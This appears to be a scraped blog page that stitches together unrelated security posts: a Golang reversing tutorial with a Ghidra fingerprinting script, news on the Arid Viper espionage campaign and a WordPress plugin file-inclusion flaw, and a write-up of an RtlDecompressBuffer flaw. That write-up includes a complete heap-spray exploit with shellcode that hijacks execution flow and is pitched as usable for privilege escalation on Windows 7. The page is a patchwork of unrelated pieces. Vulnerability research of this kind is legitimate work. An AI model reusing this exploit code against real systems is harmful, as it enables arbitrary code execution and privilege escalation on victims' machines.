Facultad de Agronomía y Agroindustrias

Golang binaries are a bit hard to analyze but there are some tricks to locate the things and view what is doing the code.

Is possible to list all the go files compiled in the binary even in an striped binaries, in this case we have only one file gohello.go this is a good clue to guess what is doing the program.

On stripped binaries the runtime functions are not resolved so is more difficult to locate the user algorithms:

If we start from the entry point, we will found this mess:

The golang string initialization are encoded and is not displayed on the strings window.

How to locate main? if its not stripped just bp on [package name].main for example bp main.main, (you can locate the package-name searching strings with ".main")

And here is our main.main:

The code is:

So in a stripped binary we cant find the string "hello world" neither the initialization 0x1337 nor the comparator 0x1337, all this is obfuscated.

The initialization sequence is:

The procedure for locating main.main in stripped binaries is:

1. Click on the entry point and locate the runtime.mainPC pointer:

2. click on runtime.main function (LAB_0042B030):

3. locate the main.main call after the zero ifs:

4. click on it and here is the main:

The runtime is not obvious for example the fmt.Scanf() call perform several internal calls until reach the syscall, and in a stripped binary there are no function names.

In order to identify the functions one option is compile another binary with symbols and make function fingerprinting.

In Ghidra we have the script golang_renamer.py which is very useful:

After applying this plugin the main looks like more clear:

This script is an example of function fingerprinting, in this case all the opcodes are included on the crc hashing:

# This script fingerprints the functions
#@author: sha0coder
#@category fingerprinting

print "Fingerprinting..."

import zlib


# loop through program functions
function = getFirstFunction()
while function is not None:
    name = str(function.getName())
    entry = function.getEntryPoint()
    body = function.getBody()
    addresses = body.getAddresses(True)

    if not addresses.hasNext():
        # empty function
        continue 

    ins = getInstructionAt(body.getMinAddress())
    opcodes = ''
    while ins and ins.getMinAddress() <= body.getMaxAddress():
        for b in ins.bytes:
            opcodes += chr(b & 0xff)
        ins = getInstructionAfter(ins)
    
    
    crchash = zlib.crc32(opcodes) & 0xffffffff

    print name, hex(crchash)


    function = getFunctionAfter(function)

Related news

Cybersecurity researchers have turned the spotlight on a new wave of offensive cyberattacks targeting Palestinian activists and entities starting around October 2021 using politically-themed phishing emails and decoy documents.

The intrusions are part of what Cisco Talos calls a longstanding espionage and information theft campaign undertaken by the Arid Viper hacking group using a Delphi-based implant called Micropsia dating all the way back to June 2017.

The threat actor's activities, also tracked under the monikers Desert Falcon and the APT-C-23, were first documented in February 2015 by Kasperksy and subsequently in 2017, when Qihoo 360 disclosed details of cross-platform backdoors developed by the group to strike Palestinian institutions.

The Russian cybersecurity company-branded Arid Viper the "first exclusively Arabic APT group."

Then in April 2021, Meta (formerly Facebook), which pointed out the group's affiliations to the cyber arm of Hamas, said it took steps to boot the adversary off its platform for distributing mobile malware against individuals associated with pro-Fatah groups, the Palestinian government organizations, military and security personnel, and student groups within Palestine.

Decoy document containing text on Palestinian reunification

The raft of new activity relies on the same tactics and document lures used by the group in 2017 and 2019, suggesting a "certain level of success" despite a lack of change in their tooling. More recent decoy files reference themes of Palestinian reunification and sustainable development in the territory that, when opened, lead to the installation of Micropsia on compromised machines.

The backdoor is designed to give the operators an unusual range of control over the infected devices, including the ability to harvest sensitive information and execute commands transmitted from a remote server, such as capturing screenshots, recording the current activity log, and downloading additional payloads.

"Arid Viper is a prime example of groups that aren't very advanced technologically, however, with specific motivations, are becoming more dangerous as they evolve over time and test their tools and procedures on their targets," researchers Asheer Malhotra and Vitor Ventura said.

"These [remote access trojans] can be used to establish long-term access into victim environments and additionally deploy more malware purposed for espionage and stealing information and credentials."

Continue reading

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table

Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6) {   int result; // eax@4    if ( algorithm & algorithm != 1 )   {     if ( algorithm & 0xF0 )       result = -1073741217;     else       result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);   }   else   {     result = -1073741811;   }   return result; }

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

the movzx limits the boundaries to 16bits
the test ax, ax avoids the algorithm 0
the cmp ax, 1 avoids the algorithm 1
the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}

int main(void) {
printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*     ntdll!RtlDecompressBuffer() vtable exploit + heap spray     by @sha0coder  */  #include  #include  #include   #define KB  1024 #define MB  1024*KB #define BLK_SZ 4096 #define ALLOC 200 #define MAGIC_DECOMPRESSION_AGORITHM 9  // WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php /* unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93" "\xBF\x77\xFF\xD2\xCC" "\xE8\xF3\xFF\xFF\xFF" "\x63\x61\x6C\x63"; */  // https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html char *shellcode =        "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"        "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"        "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"        "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"        "\x57\x78\x01\xc2\x8b\x7a\x20\x01"        "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"        "\x45\x81\x3e\x43\x72\x65\x61\x75"        "\xf2\x81\x7e\x08\x6f\x63\x65\x73"        "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"        "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"        "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"        "\xb1\xff\x53\xe2\xfd\x68\x63\x61"        "\x6c\x63\x89\xe2\x52\x52\x53\x53"        "\x53\x53\x53\x53\x52\x53\xff\xd7";   PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits  void fail(const char *msg) {   printf("%s\n\n", msg);   exit(1); }  PUCHAR spray(HANDLE heap) {   PUCHAR map = 0;    printf("Spraying ...\n");   printf("Aproximating to %p\n", landing_ptr);    while (map < landing_ptr-1*MB) {     map = HeapAlloc(heap, 0, 1*MB);   }    //map = HeapAlloc(heap, 0, 1*MB);    printf("Aproximated to [%x - %x]\n", map, map+1*MB);     printf("Landing adddr: %x\n", landing_ptr);   printf("Offset of landing adddr: %d\n", landing_ptr-map);    return map; }  void landing_sigtrap(int num_of_traps) {   memset(landing_ptr, 0xcc, num_of_traps); }  void copy_shellcode(void) {   memcpy(landing_ptr, shellcode, strlen(shellcode));  }  int main(int argc, char **argv) {   FARPROC RtlDecompressBuffer;   NTSTATUS ntStat;   HANDLE heap;   PUCHAR compressed, uncompressed;   ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;    RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");    heap = GetProcessHeap();    compressed_sz = estimated_uncompressed_sz = 1*KB;    compressed = HeapAlloc(heap, 0, compressed_sz);    uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);     spray(heap);   copy_shellcode();   //landing_sigtrap(1*KB);   printf("Landing ...\n");    ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);    switch(ntStat) {     case STATUS_SUCCESS:       printf("decompression Ok!\n");       break;      case STATUS_INVALID_PARAMETER:       printf("bad compression parameter\n");       break;       case STATUS_UNSUPPORTED_COMPRESSION:       printf("unsuported compression\n");       break;      case STATUS_BAD_COMPRESSION_BUFFER:       printf("Need more uncompressed buffer\n");       break;      default:       printf("weird decompression state\n");       break;   }    printf("end.\n"); }

The attack vector


  This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

Related articles

A WordPress plugin with over one million installs has been found to contain a critical vulnerability that could result in the execution of arbitrary code on compromised websites.

The plugin in question is Essential Addons for Elementor, which provides WordPress site owners with a library of over 80 elements and extensions to help design and customize pages and posts.

"This vulnerability allows any user, regardless of their authentication or authorization status, to perform a local file inclusion attack," Patchstack said in a report. "This attack can be used to include local files on the filesystem of the website, such as /etc/passwd. This can also be used to perform RCE by including a file with malicious PHP code that normally cannot be executed."

That said, the vulnerability only exists if widgets like dynamic gallery and product gallery are used, which utilize the vulnerable function, resulting in local file inclusion – an attack technique in which a web application is tricked into exposing or running arbitrary files on the webserver.

The flaw impacts all versions of the addon from 5.0.4 and below, and credited with discovering the vulnerability is researcher Wai Yan Myo Thet. Following responsible disclosure, the security hole was finally plugged in version 5.0.5 released on January 28 "after several insufficient patches."

The development comes weeks after it emerged that unidentified actors tampered with dozens of WordPress themes and plugins hosted on a developer's website to inject a backdoor with the goal of infecting further sites.

Facultad de Agronomía y Agroindustrias

domingo, 21 de enero de 2024

Introduction To Reversing Golang Binaries

Related news

New Wave Of Cyber Attacks Target Palestine With Political Bait And Malware

Continue reading

sábado, 20 de enero de 2024

RtlDecompresBuffer Vulnerability

Critical Bug Found In WordPress Plugin For Elementor With Over A Million Installations

Related word